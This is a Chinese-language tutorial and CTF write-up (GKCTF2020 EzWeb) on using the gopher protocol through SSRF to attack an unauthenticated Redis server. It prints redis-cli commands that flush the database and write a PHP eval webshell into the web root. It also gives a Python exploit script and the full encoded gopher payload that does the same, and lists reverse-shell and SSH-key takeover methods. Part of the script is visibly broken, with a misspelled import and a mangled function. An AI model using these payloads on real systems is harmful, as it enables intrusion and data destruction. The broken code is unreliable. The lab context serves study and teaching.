0x00 简介
定义:gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,gopher是Internet上最主要的信息检索工具,gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;
gopher协议支持发出GET、POST请求
可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
gopher协议格式
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
· gopher的默认端口是70
· 如果发起post请求,回车换行需要使用%0d%0a,如果存在多个参数,参数之间的&也需要进行URL编码
注意%0d%0a是\r\n的URL编码。
gopher发送请求HTTP GET请求
Windows下安装netcat,工具地址:
https://eternallybored.org/misc/netcat/
在 C:\Windows\System32的文件夹下解压即可。
首先在本机上开启监听端口:nc -lvp 6666
Kali上:curl gopher://192.168.194.1:6666/_abcd
注意:abcd是要传递的数据,_会被吃掉不会传递过去
发送一个原始的HTTP包
在gopher协议中发送HTTP的数据,需要以下三步
1、构造HTTP数据包
2、URL编码、替换回车换行为%0d%0a
3、发送gopher协议
首先利用PHPStudy新建一个get.php文件,内容
<?php echo "Hello ".$_GET["name"]."\n"?>
传递?name=purplet,利用BurpSuite抓包可以看到报文头
GET /tes/get.php?name=purplet HTTP/1.1Host: 192.168.194.1
URL编码后为:curl gopher://192.168.194.1:80/_GET%20/tes/get.php%3fname=purplet%20HTTP/1.1%0d%0aHost:%20192.168.194.1%0d%0a
注意:
1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
4.、gopher协议后的IP一定要接端口
gopher发送请求HTTP POST请求
POST与GET传参的区别:它有4个参数为必要参数
POST /tes/post.php HTTP/1.1host:192.168.194.1Content-Type:application/x-www-form-urlencodedContent-Length:12name=purplet
如下构造:
curl gopher://192.168.194.1:80/_POST%20/tes/post.php%20HTTP/1.1%0d%0AHost:192.168.194.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:12%0d%0A%0d%0Aname=purplet%0d%0A
其中post.php
<?php echo "Hello".$_POST['name']."\n";?>
0x01 redis未授权访问
什么是redis
Redis 是完全开源免费的,遵守BSD协议,是一个高性能的key-value数据库。
什么是redis未授权访问漏洞
简单说,漏洞的产生条件有以下两点:
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;注:默认在6379端口
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
漏洞利用常见三种方法:
(1)已知目标网站绝对路径写入Webshell
(2)定时任务反弹shell
(3)利用"公私钥"认证获取root权限,ssh免密登陆目标服务器
CTF中较为常见的利用方法是写入webshell,通过redis连接工具
root@kali:~# redis-cli -h 192.168.5.57(目标IP)
可以不输入密码连接成功,下面这个命令会清空数据库,谨慎使用
192.168.5.57:6379>flushall
写入Webshell
192.168.5.57:6379>config set dir /var/www/html/ #设置网站路径,这里必须提前知道网站的路径,这个可以在phpinfo信息中获取
192.168.5.57:6379>config set dbfilename shell.php #创建文件
192.168.5.57:6379>set webshell "<?php @eval($_POST[1]);?>"
192.168.5.57:6379>save
0x02 CTF中的应用
[GKCTF2020]EZ三剑客-EzWeb
考点:redis未授权访问与gopher协议的利用
查看源代码后发现隐藏注释
传递?secret后看到ipconfig的信息,得到该网站的内网IP是173.235.203.10
在前端输入框中随意输入后看到url处存在一个url参数以GET形式传递了输入字符,疑似SSRF,将获得的本机IP传入,果真又出现了一个当前页面。实战可以尝试传入百度的网址,若有页面回显也可能存在一个SSRF漏洞。
既然是有回显的SSRF,可以利用BurpSuite其进行内网扫描,获取所有存在的内网IP。对C段进行选定爆破1-255
爆破结果得到4个内网IP
其中11时出现以下字:被你发现了,但你也许需要试试其他服务,就在这台机子上! …我说的是端口,给出了很明显的提示继续进行端口扫描
端口扫描时可不必从1-65535,针对经常会出现漏洞的的端口可进行一个扫描
21,22,23,25,53,80,89,110,139,143,161,443,445,465,873,993,995,1433,1521,1723,2049,3128,3306,3389,4100,5000,5432,5632,5900,6379,7001,8069,8080,8090,9200,9300,9871,11211,27017,27018
最终扫描结果看到存在redis的默认端口6379,很容易想到可能存在redis的未授权访问漏洞,同时测试发现file协议也被ban掉了,接下来利用gopher协议对redis进行写入webshell的操作。
exp如下:
#/usr/bin/python
import rllib
protocol="gopher://"
ip="173.235.203.11"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print(payload)
python2环境下运行后将得到的结果提交过去
gopher://173.235.203.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
最终拿到shell成功实现命令执行。
文章参考:
https://zhuanlan.zhihu.com/p/112055947
https://byqiyou.github.io/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/#SSRF%E4%BB%8B%E7%BB%8D